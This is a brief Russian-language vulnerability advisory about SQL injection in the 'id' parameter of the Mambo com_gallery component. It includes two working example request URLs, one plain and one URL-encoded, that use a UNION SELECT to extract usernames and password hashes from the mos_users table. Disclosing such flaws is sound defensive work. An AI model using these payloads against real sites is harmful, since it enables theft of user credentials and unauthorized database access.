Программа: Mambo Component com_gallery
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре «id» сценарием index.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.
Пример:
index.php?option=com_gallery&Itemid=0&func=detail&id=-99999/**/union/* */select/**/0,0,password,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,username/**/from/**/mos_users/*
index.php?option=com_gallery&Itemid=0&func=detail&id=- 999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect %2F%2A%2A%2F0%2C1%2Cpassword %2C0%2C0%2C0%2C0%2C0%2C0 %2C0%2C0%2C0%2C0%2Cusername %2F%2A%2A%2Ffrom%2F%2A%2A%2Fmos_users
